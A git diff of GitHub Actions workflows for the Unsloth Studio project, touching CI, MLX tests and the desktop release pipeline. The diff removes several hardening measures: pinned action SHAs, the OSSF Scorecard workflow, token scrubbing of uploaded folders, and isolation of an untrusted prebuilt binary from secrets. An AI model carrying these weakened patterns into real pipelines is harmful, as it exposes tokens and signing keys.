actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 - with: - name: resume-${{ matrix.agent }}-log - path: | - logs/ - agent-workdir/ - redacted-configs/ - retention-days: 7 - # ═════════════════════════════════════════════════════════════════════ # Job 3: prompt-cache # (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0 @@ -708,7 +532,7 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Gated off PR (see note above); public GGUF still downloads. @@ -720,7 +544,7 @@ jobs: - name: Serve unsloth run --disable-tools (gemma-3-270m) run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password bash .github/scripts/serve-unsloth-run.sh \ --model "$GGUF_REPO" --gguf-variant "$GGUF_VARIANT" \ --port "$STUDIO_PORT" --log-dir logs \ @@ -758,15 +582,13 @@ jobs: # `API Key: `) into logs/unsloth-run-.log, and the upload # step publishes all of logs/, so scrubbing only studio-logs would leak # the bearer token in the retained artifact. - # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and - # agent-workdir/ are published by the same upload step. if [ -n "${UNSLOTH_API_KEY:-}" ]; then - grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true done fi - - name: Stop Unsloth + - name: Stop Studio if: always() run: | # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make diff --git a/.github/workflows/lockfile-audit.yml b/.github/workflows/lockfile-audit.yml index aaf258d615..9c28e21672 100644 --- a/.github/workflows/lockfile-audit.yml +++ b/.github/workflows/lockfile-audit.yml @@ -60,11 +60,11 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 5 steps: - - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + - uses: actions/checkout@v4 with: persist-credentials: false - - uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0 + - uses: actions/setup-python@v5 with: python-version: '3.12' diff --git a/.github/workflows/mlx-ci.yml b/.github/workflows/mlx-ci.yml index aadf0b54e6..864630f9f0 100644 --- a/.github/workflows/mlx-ci.yml +++ b/.github/workflows/mlx-ci.yml @@ -130,7 +130,7 @@ jobs: # MLX support landed after the most recent unsloth-zoo PyPI # release; the wheel still raises NotImplementedError on # Apple Silicon when device_type.get_device_type() runs - # unguarded. Unsloth's own install.sh overlays unsloth-zoo + # unguarded. Studio's own install.sh overlays unsloth-zoo # from git main for the same reason. Pulling deps lets pip # resolve the platform-conditional MLX-only wheels (mlx, # mlx-lm, mlx-vlm gated on darwin+arm64 in unsloth-zoo's @@ -163,7 +163,7 @@ jobs: 'pytest==9.0.3' \ 'pytest-asyncio==1.3.0' \ 'httpx==0.28.1' - pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ + pip install --index-url https://download.pytorch.org/whl/cpu \ 'torch==2.10.0' # github.com occasionally 500s on the git fetch; retry the # zoo install so a single upstream blip does not fail CI. @@ -231,6 +231,99 @@ jobs: tests/studio/test_is_mlx_dispatch_gate.py \ tests/studio/test_mlx_training_worker_behaviors.py + # Studio prebuilt llama.cpp install + GGUF inference. Mirrors the + # path Studio's setup.sh takes on macOS since #5963: plan against + # the unslothai/llama.cpp fork's latest release, which ships the + # bin-macos-arm64 bundle plus the llama-prebuilt-manifest.json the + # default policy reads. After install, downloads a small published + # GGUF (unsloth/gemma-3-270m-it-GGUF, Q4_K_M) and validates + # llama-server /completion end to end. An install failure or a + # non-zero binary exit is an Unsloth/Studio bug. + - name: Studio prebuilt llama.cpp install + GGUF inference (Mac M1) + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + # install_llama_prebuilt.py hits the GitHub releases API to + # resolve the asset URL. Anonymous calls share the runner-IP + # rate-limit bucket and 403 quickly -- pass the workflow's + # automatic GITHUB_TOKEN to bump us to the 5000/hr authenticated + # bucket. + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + set -euo pipefail + INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp" + rm -rf "$INSTALL_DIR" + # Mirror studio/setup.sh on macOS (the install.sh user path): + # it plans against the unslothai/llama.cpp fork's latest + # release with no policy or tag flags. + python studio/install_llama_prebuilt.py \ + --install-dir "$INSTALL_DIR" \ + --published-repo unslothai/llama.cpp + + # Studio bundles only llama-server + llama-quantize from the + # prebuilt (not llama-cli) -- inference goes through + # llama-server's HTTP /completion endpoint. Validate both: + # llama-quantize --help proves the dynamic libs link, then + # spin up llama-server and POST a /completion request on a + # tiny published GGUF. + LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server" + LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize" + [ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; } + [ -x "$LLAMA_QUANT" ] || { echo "::error::llama-quantize missing at $LLAMA_QUANT"; exit 1; } + echo "llama-server : $LLAMA_SERVER" + echo "llama-quantize: $LLAMA_QUANT" + "$LLAMA_QUANT" --help >/dev/null && echo " llama-quantize loads OK" + + mkdir -p /tmp/ggufs + bash .github/scripts/hf-download-with-retry.sh \ + 'unsloth/gemma-3-270m-it-GGUF' \ + 'gemma-3-270m-it-Q4_K_M.gguf' \ + /tmp/ggufs + + PORT=18080 + echo "=== starting llama-server on 127.0.0.1:$PORT ===" + "$LLAMA_SERVER" \ + -m /tmp/ggufs/gemma-3-270m-it-Q4_K_M.gguf \ + --host 127.0.0.1 \ + --port "$PORT" \ + -c 256 \ + -n 16 \ + --no-warmup \ + > /tmp/llama-server.log 2>&1 & + SERVER_PID=$! + trap 'kill "$SERVER_PID" 2>/dev/null || true' EXIT + + # Wait for /health to come up + for i in $(seq 1 30); do + if curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then + echo " server up after ${i}s" + break + fi + sleep 1 + done + if ! curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then + echo "::error::llama-server never became healthy" + tail -40 /tmp/llama-server.log + exit 1 + fi + + PROMPT="Hello, my name is" + echo "=== POST /completion ===" + RESP=$(curl -sf -X POST "http://127.0.0.1:$PORT/completion" \ + -H 'Content-Type: application/json' \ + -d "{\"prompt\":\"$PROMPT\",\"n_predict\":16,\"temperature\":0,\"seed\":3407}") + echo "raw response (head): $(echo "$RESP" | head -c 600)" + CONTENT=$(echo "$RESP" | python -c "import json,sys; print(json.loads(sys.stdin.read()).get('content',''))") + echo "completion content: $CONTENT" + + if [ -z "$CONTENT" ]; then + echo "::error::llama-server /completion returned empty content" + tail -40 /tmp/llama-server.log + exit 1 + fi + echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works" + # Real MLX training + inference smoke test. Trains # unsloth/gemma-3-270m-it for 7 deterministic LoRA steps # (batch_size=2, gradient_accumulation_steps=3) on a single @@ -245,9 +338,6 @@ jobs: UNSLOTH_COMPILE_DISABLE: '1' run: | mkdir -p mlx_workdir - # Authenticate llama.cpp's release-API lookup (anonymous 403s on rate-limit); - # read-only GITHUB_TOKEN scoped here only, never to steps that run binaries. - GH_TOKEN="${{ secrets.GITHUB_TOKEN }}" GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \ python tests/studio/run_real_mlx_smoke.py train \ --workdir "$PWD/mlx_workdir" @@ -316,88 +406,3 @@ jobs: cat "$f" 2>/dev/null || echo "(missing)" echo done - - # Validates the macOS prebuilt path Unsloth's setup.sh uses (#5963): install the - # unslothai/llama.cpp fork's latest release, download a small public GGUF, and - # check llama-server /completion end to end. Split and placed last so the - # untrusted binary runs only in the final smoke step, after every HF_TOKEN step, - # leaving no token-bearing step or shared workspace for a tampered prebuilt to - # corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch. - - name: Unsloth prebuilt llama.cpp install + GGUF download (Mac M1) - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} - run: | - set -euo pipefail - INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp" - rm -rf "$INSTALL_DIR" - # Download only -- no llama-quantize / llama-server launch in this step. - python studio/install_llama_prebuilt.py \ - --install-dir "$INSTALL_DIR" \ - --published-repo unslothai/llama.cpp - mkdir -p /tmp/ggufs - bash .github/scripts/hf-download-with-retry.sh \ - 'unsloth/gemma-3-270m-it-GGUF' \ - 'gemma-3-270m-it-Q4_K_M.gguf' \ - /tmp/ggufs - - # Final step: runs the downloaded binaries with no secrets present, and clears - # the GitHub Actions command files so a tampered prebuilt cannot influence the job. - - name: Unsloth prebuilt llama.cpp GGUF inference smoke (Mac M1) - run: | - set -euo pipefail - unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY - INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp" - # Unsloth bundles only llama-server + llama-quantize (not llama-cli); - # inference goes through llama-server's HTTP /completion endpoint. - LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server" - LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize" - [ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; } - [ -x "$LLAMA_QUANT" ] || { echo "::error::llama-quantize missing at $LLAMA_QUANT"; exit 1; } - echo "llama-server : $LLAMA_SERVER" - echo "llama-quantize: $LLAMA_QUANT" - "$LLAMA_QUANT" --help >/dev/null && echo " llama-quantize loads OK" - - PORT=18080 - echo "=== starting llama-server on 127.0.0.1:$PORT ===" - "$LLAMA_SERVER" \ - -m /tmp/ggufs/gemma-3-270m-it-Q4_K_M.gguf \ - --host 127.0.0.1 \ - --port "$PORT" \ - -c 256 \ - -n 16 \ - --no-warmup \ - > /tmp/llama-server.log 2>&1 & - SERVER_PID=$! - trap 'kill "$SERVER_PID" 2>/dev/null || true' EXIT - - # Wait for /health to come up - for i in $(seq 1 30); do - if curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then - echo " server up after ${i}s" - break - fi - sleep 1 - done - if ! curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then - echo "::error::llama-server never became healthy" - tail -40 /tmp/llama-server.log - exit 1 - fi - - PROMPT="Hello, my name is" - echo "=== POST /completion ===" - RESP=$(curl -sf -X POST "http://127.0.0.1:$PORT/completion" \ - -H 'Content-Type: application/json' \ - -d "{\"prompt\":\"$PROMPT\",\"n_predict\":16,\"temperature\":0,\"seed\":3407}") - echo "raw response (head): $(echo "$RESP" | head -c 600)" - CONTENT=$(echo "$RESP" | python -c "import json,sys; print(json.loads(sys.stdin.read()).get('content',''))") - echo "completion content: $CONTENT" - - if [ -z "$CONTENT" ]; then - echo "::error::llama-server /completion returned empty content" - tail -40 /tmp/llama-server.log - exit 1 - fi - echo "OK: Unsloth prebuilt llama.cpp on Mac M1 + GGUF /completion works" diff --git a/.github/workflows/notebooks-ci.yml b/.github/workflows/notebooks-ci.yml index 0e0b35dd4d..2edcae8ab2 100644 --- a/.github/workflows/notebooks-ci.yml +++ b/.github/workflows/notebooks-ci.yml @@ -263,7 +263,7 @@ jobs: # unsloth_zoo.vision_utils imports PIL at module top, and the # easiest way to get a torch-compatible PIL on a CPU runner is # to let torchvision pull the right Pillow version. - pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ + pip install --index-url https://download.pytorch.org/whl/cpu \ 'torch>=2.8,<2.11' 'torchvision<0.26' # Pin to the same versions update_all_notebooks.py installs in # generated notebooks. Keep these in lockstep with PIN_TRL / diff --git a/.github/workflows/ossf.yml b/.github/workflows/ossf.yml deleted file mode 100644 index f9a270540f..0000000000 --- a/.github/workflows/ossf.yml +++ /dev/null @@ -1,78 +0,0 @@ -# This workflow uses actions that are not certified by GitHub. They are provided -# by a third-party and are governed by separate terms of service, privacy -# policy, and support documentation. - -name: Scorecard supply-chain security -on: - # For Branch-Protection check. Only the default branch is supported. See - # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection - branch_protection_rule: - # To guarantee Maintained check is occasionally updated. See - # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained - schedule: - - cron: '21 20 * * 0' - push: - branches: [ "main" ] - -# Declare default permissions as read only. -permissions: read-all - -jobs: - analysis: - name: Scorecard analysis - runs-on: ubuntu-latest - # `publish_results: true` only works when run from the default branch. conditional can be removed if disabled. - if: github.event.repository.default_branch == github.ref_name || github.event_name == 'pull_request' - permissions: - # Needed to upload the results to code-scanning dashboard. - security-events: write - # Needed to publish results and get a badge (see publish_results below). - id-token: write - # Uncomment the permissions below if installing in a private repository. - # contents: read - # actions: read - - steps: - - name: "Checkout code" - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 - with: - persist-credentials: false - - - name: "Run analysis" - uses: ossf/scorecard-action@f49aabe0b5af0936a0987cfb85d86b75731b0186 # v2.4.1 - with: - results_file: results.sarif - results_format: sarif - # (Optional) "write" PAT token. Uncomment the `repo_token` line below if: - # - you want to enable the Branch-Protection check on a *public* repository, or - # - you are installing Scorecard on a *private* repository - # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional. - # repo_token: ${{ secrets.SCORECARD_TOKEN }} - - # Public repositories: - # - Publish results to OpenSSF REST API for easy access by consumers - # - Allows the repository to include the Scorecard badge. - # - See https://github.com/ossf/scorecard-action#publishing-results. - # For private repositories: - # - `publish_results` will always be set to `false`, regardless - # of the value entered here. - publish_results: true - - # (Optional) Uncomment file_mode if you have a .gitattributes with files marked export-ignore - # file_mode: git - - # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF - # format to the repository Actions tab. - - name: "Upload artifact" - uses: actions/upload-artifact@4cec3d8aa04e39d1a68397de0c4cd6fb9dce8ec1 # v4.6.1 - with: - name: SARIF file - path: results.sarif - retention-days: 5 - - # Upload the results to GitHub's code scanning dashboard (optional). - # Commenting out will disable upload of results to your repo's Code Scanning dashboard - - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@v3 - with: - sarif_file: results.sarif diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml index 0a8d71610d..188e078f90 100644 --- a/.github/workflows/release-desktop.yml +++ b/.github/workflows/release-desktop.yml @@ -4,7 +4,7 @@ on: workflow_dispatch: inputs: studio_version: - description: 'Unsloth version tag to release (for example, v0.1.39-beta)' + description: 'Studio version tag to release (for example, v0.1.39-beta)' type: string required: true pypi_version: @@ -19,19 +19,6 @@ on: permissions: contents: read -env: - DESKTOP_RELEASE_NOTES: | - Desktop app for Unsloth Studio. - - **macOS**: Download the Apple Silicon `.dmg`. - **Windows**: Download the `-setup.exe` installer. - **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental. - - > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. - > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available. - > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` - > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. - concurrency: group: release-desktop-${{ github.repository }} cancel-in-progress: false @@ -69,7 +56,7 @@ jobs: if not studio_version: sys.exit('studio_version is required, for example v0.1.39-beta') if re.fullmatch(r'v?20\d{2}\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)?', studio_version): - sys.exit(f'studio_version must be an Unsloth SemVer tag, not a date-style backend version: {studio_version}') + sys.exit(f'studio_version must be a Studio SemVer tag, not a date-style backend version: {studio_version}') semver_tag = re.compile( r'^v(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)' @@ -146,7 +133,7 @@ jobs: print(f'pypi_version={pypi_version}', file=output) PY - - name: Verify PyPI package and Unsloth stamp + - name: Verify PyPI package and Studio stamp shell: bash env: STUDIO_VERSION: ${{ steps.prepare.outputs.studio_version }} @@ -211,7 +198,7 @@ jobs: fi python3 scripts/stamp_studio_release.py --verify-dist "$RUNNER_TEMP/pypi-unsloth-dist" --expected "$STUDIO_VERSION" else - echo "scripts/stamp_studio_release.py not found; release-desktop requires #5308 to verify the PyPI Unsloth stamp." >&2 + echo "scripts/stamp_studio_release.py not found; release-desktop requires #5308 to verify the PyPI Studio stamp." >&2 exit 1 fi @@ -308,6 +295,14 @@ jobs: PY build: + # TODO: split into a "build (no secrets)" + "publish (secrets)" job pair + # with actions/upload-artifact handoff so the matrix build cannot + # publish a Release on its own. The current matrix runs across + # Linux/macOS/Windows in a single job, so the split needs artefact + # collection across the OS matrix and is out of scope for this + # hardening pass. + permissions: + contents: write # tauri-apps/tauri-action creates / uploads a GitHub Release strategy: fail-fast: false max-parallel: 1 @@ -316,21 +311,15 @@ jobs: - platform: macos-latest args: '--target aarch64-apple-darwin' label: macOS (Apple Silicon) - artifact: macos-aarch64 - release_arch: aarch64 # - platform: macos-latest # args: '--target x86_64-apple-darwin' # label: macOS (Intel) - platform: ubuntu-22.04 args: '' label: Linux (x64) - artifact: linux-x64 - release_arch: x64 - platform: windows-latest args: '' label: Windows (x64) - artifact: windows-x64 - release_arch: x64 name: Build ${{ matrix.label }} needs: prepare-version @@ -476,18 +465,41 @@ jobs: if (chmodIdx !== -1 && sha256Idx > chmodIdx) { throw new Error('Desktop Linux release must verify the linuxdeploy digest before chmod +x'); } - const releaseBody = process.env.DESKTOP_RELEASE_NOTES; - if (!releaseBody) { - throw new Error('DESKTOP_RELEASE_NOTES must not be empty'); + const releaseBodies = []; + for (let i = 0; i < lines.length; i += 1) { + const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/); + if (!match) continue; + const baseIndent = match[1].length; + const bodyLines = []; + i += 1; + for (; i < lines.length; i += 1) { + const line = lines[i]; + if (line.trim() === '') { + bodyLines.push(''); + continue; + } + const indent = line.match(/^\s*/)[0].length; + if (indent <= baseIndent) { + i -= 1; + break; + } + bodyLines.push(line.slice(baseIndent + 2)); + } + releaseBodies.push(bodyLines.join('\n')); } - if (/\brpm\b|\.rpm/i.test(releaseBody)) { - throw new Error('Desktop release body must not advertise RPM packages'); + if (releaseBodies.length === 0) { + throw new Error('Expected at least one desktop release body'); } - if (/AppImage.*universal|universal.*AppImage/i.test(releaseBody)) { - throw new Error('Desktop release body must not advertise AppImage as universal'); - } - if (!/AppImage.*experimental/i.test(releaseBody)) { - throw new Error('Desktop release body must mark AppImage as experimental'); + for (const body of releaseBodies) { + if (/\brpm\b|\.rpm/i.test(body)) { + throw new Error('Desktop release body must not advertise RPM packages'); + } + if (/AppImage.*universal|universal.*AppImage/i.test(body)) { + throw new Error('Desktop release body must not advertise AppImage as universal'); + } + if (!/AppImage.*experimental/i.test(body)) { + throw new Error('Desktop release body must mark AppImage as experimental'); + } } JS @@ -632,33 +644,48 @@ jobs: dest="$tools_dir/linuxdeploy-x86_64.AppImage" curl -fsSL "$LINUXDEPLOY_URL" -o "$dest" # Verify the digest BEFORE the binary is ever marked executable. The - # next step builds the AppImage with the Tauri signing key, so a - # substituted linuxdeploy that ran here could exfiltrate signing - # material or tamper with release artifacts. Fail closed on any - # mismatch. + # next step builds the AppImage with the Tauri signing key and a + # contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy + # that ran here could exfiltrate signing material or tamper with + # published release artifacts. Fail closed on any mismatch. echo "${LINUXDEPLOY_SHA256} ${dest}" | sha256sum -c - chmod +x "$dest" - # ── Linux: build + sign ── + # ── Linux: build + sign + upload ── - name: Build Linux app - id: build_linux if: matrix.platform == 'ubuntu-22.04' uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5 env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }} TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }} XDG_CACHE_HOME: ${{ runner.temp }}/tauri-tools-cache with: projectPath: studio tauriScript: npx --prefix . tauri + tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }} + releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}' + releaseBody: | + Desktop app for Unsloth Studio. + + **macOS**: Download the Apple Silicon `.dmg`. + **Windows**: Download the `-setup.exe` installer. + **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental. + + > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. + > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available. + > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` + > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. + releaseDraft: ${{ inputs.draft }} + prerelease: ${{ needs.prepare-version.outputs.prerelease }} args: -v ${{ matrix.args }} - # ── macOS: build + sign + notarize ── + # ── macOS: build + sign + notarize + upload ── - name: Build macOS app - id: build_macos if: matrix.platform == 'macos-latest' uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5 env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }} TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }} APPLE_SIGNING_IDENTITY: ${{ secrets.APPLE_SIGNING_IDENTITY }} @@ -668,14 +695,29 @@ jobs: with: projectPath: studio tauriScript: npx --prefix . tauri + tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }} + releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}' + releaseBody: | + Desktop app for Unsloth Studio. + + **macOS**: Download the Apple Silicon `.dmg`. + **Windows**: Download the `-setup.exe` installer. + **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental. + + > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. + > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available. + > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` + > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. + releaseDraft: ${{ inputs.draft }} + prerelease: ${{ needs.prepare-version.outputs.prerelease }} args: -v ${{ matrix.args }} - # ── Windows: build + sign ── + # ── Windows: build + sign + upload ── - name: Build Windows app - id: build_windows if: matrix.platform == 'windows-latest' uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5 env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }} TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }} AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }} @@ -686,252 +728,44 @@ jobs: with: projectPath: studio tauriScript: npx --prefix . tauri + tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }} + releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}' + releaseBody: | + Desktop app for Unsloth Studio. + + **macOS**: Download the Apple Silicon `.dmg`. + **Windows**: Download the `-setup.exe` installer. + **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental. + + > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. + > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available. + > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` + > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. + releaseDraft: ${{ inputs.draft }} + prerelease: ${{ needs.prepare-version.outputs.prerelease }} args: -v ${{ matrix.args }} - - name: Stage release assets - shell: bash - env: - ARTIFACT_PATHS: ${{ steps.build_linux.outputs.artifactPaths || steps.build_macos.outputs.artifactPaths || steps.build_windows.outputs.artifactPaths }} - RELEASE_ARCH: ${{ matrix.release_arch }} - run: | - set -euo pipefail - if command -v python3 >/dev/null 2>&1; then - PYTHON=python3 - else - PYTHON=python - fi - "$PYTHON" <<'PY' - import json - import os - import pathlib - import re - import shutil - import sys - import unicodedata - - raw_paths = os.environ.get('ARTIFACT_PATHS', '') - try: - artifact_paths = json.loads(raw_paths) - except json.JSONDecodeError as error: - sys.exit(f'Invalid tauri-action artifactPaths output: {error}') - if not isinstance(artifact_paths, list) or not artifact_paths: - sys.exit('tauri-action did not return any release artifacts') - - destination = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets') - destination.mkdir(parents=True, exist_ok=True) - staged = [] - for raw_path in artifact_paths: - source = pathlib.Path(raw_path) - if not source.is_file(): - continue - name = source.name - for extension in ('.app.tar.gz.sig', '.app.tar.gz'): - if name.endswith(extension): - name = f'{name[:-len(extension)]}_{os.environ["RELEASE_ARCH"]}{extension}' - break - name = unicodedata.normalize('NFD', name) - name = ''.join(character for character in name if not unicodedata.combining(character)) - name = re.sub(r'[ ()\[\]{}]', '.', name) - while '..' in name: - name = name.replace('..', '.') - target = destination / name - if target.exists(): - sys.exit(f'Duplicate staged release asset name: {name}') - shutil.copy2(source, target) - staged.append(name) - - if not staged: - sys.exit('No release files were staged') - print('Staged release assets:') - print('\n'.join(sorted(staged))) - PY - - - name: Upload signed release assets - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 - with: - name: desktop-release-${{ matrix.artifact }} - path: ${{ runner.temp }}/desktop-release-assets/* - if-no-files-found: error - compression-level: 0 - retention-days: 1 - - # Only this job gets write access; builds hand off signed files via artifacts. - # Draft runs do not advance the public desktop-latest channel. - publish-release: - name: Publish desktop release + # Release process note: only non-draft workflow runs advance the public + # desktop-latest updater channel. Draft builds are for private review; if a + # draft is manually published later, this channel intentionally remains + # unchanged until a narrow manual channel-publish flow is added or a public + # desktop release is created by running this workflow with draft=false. + publish-updater-channel: + name: Publish desktop updater channel needs: [prepare-version, build] + if: ${{ !inputs.draft }} runs-on: ubuntu-latest permissions: - contents: write # create the versioned Release and replace updater-channel metadata + contents: write env: GH_REPO: ${{ github.repository }} APP_VERSION: ${{ needs.prepare-version.outputs.app_version }} - PYPI_VERSION: ${{ needs.prepare-version.outputs.pypi_version }} STUDIO_VERSION: ${{ needs.prepare-version.outputs.studio_version }} DESKTOP_RELEASE_TAG: ${{ needs.prepare-version.outputs.desktop_release_tag }} DESKTOP_PRERELEASE: ${{ needs.prepare-version.outputs.prerelease }} steps: - - name: Harden runner (audit) - uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1 - with: - egress-policy: audit - - - name: Download signed release assets - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 - with: - pattern: desktop-release-* - path: ${{ runner.temp }}/desktop-release-assets - merge-multiple: true - - - name: Validate release asset set - shell: bash - run: | - set -euo pipefail - python3 <<'PY' - import pathlib - import os - import sys - - asset_dir = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets') - files = [path for path in asset_dir.iterdir() if path.is_file()] - required_suffixes = ( - '.dmg', - '.app.tar.gz', - '.app.tar.gz.sig', - '.deb', - '.AppImage', - '.AppImage.sig', - '-setup.exe', - '-setup.exe.sig', - ) - for suffix in required_suffixes: - matches = [path for path in files if path.name.endswith(suffix)] - if len(matches) != 1: - sys.exit(f'Expected exactly one {suffix} release asset, found {len(matches)}') - if any(path.name == 'latest.json' for path in files): - sys.exit('Build artifacts must not supply latest.json') - print('\n'.join(sorted(path.name for path in files))) - PY - - - name: Create or validate versioned release - shell: bash - env: - GH_TOKEN: ${{ github.token }} - RELEASE_DRAFT: ${{ inputs.draft }} - run: | - set -euo pipefail - notes_file="$RUNNER_TEMP/desktop-release-notes.md" - printf '%s\n' "$DESKTOP_RELEASE_NOTES" > "$notes_file" - - release_json="$RUNNER_TEMP/versioned-release.json" - # REST tag lookup omits drafts; `gh release view` also checks pending tags. - if gh release view "$DESKTOP_RELEASE_TAG" \ - --json tagName,isDraft,isPrerelease > "$release_json" 2>/dev/null; then - python3 <<'PY' - import json - import os - import pathlib - import sys - - release = json.loads(pathlib.Path(os.environ['RUNNER_TEMP'], 'versioned-release.json').read_text()) - expected_draft = os.environ['RELEASE_DRAFT'].lower() == 'true' - expected_prerelease = os.environ['DESKTOP_PRERELEASE'].lower() == 'true' - if release.get('tagName') != os.environ['DESKTOP_RELEASE_TAG']: - sys.exit('Existing desktop release tag does not match the requested tag') - if bool(release.get('isDraft')) != expected_draft: - sys.exit('Existing desktop release draft state does not match the workflow input') - if bool(release.get('isPrerelease')) != expected_prerelease: - sys.exit('Existing desktop release prerelease state does not match the 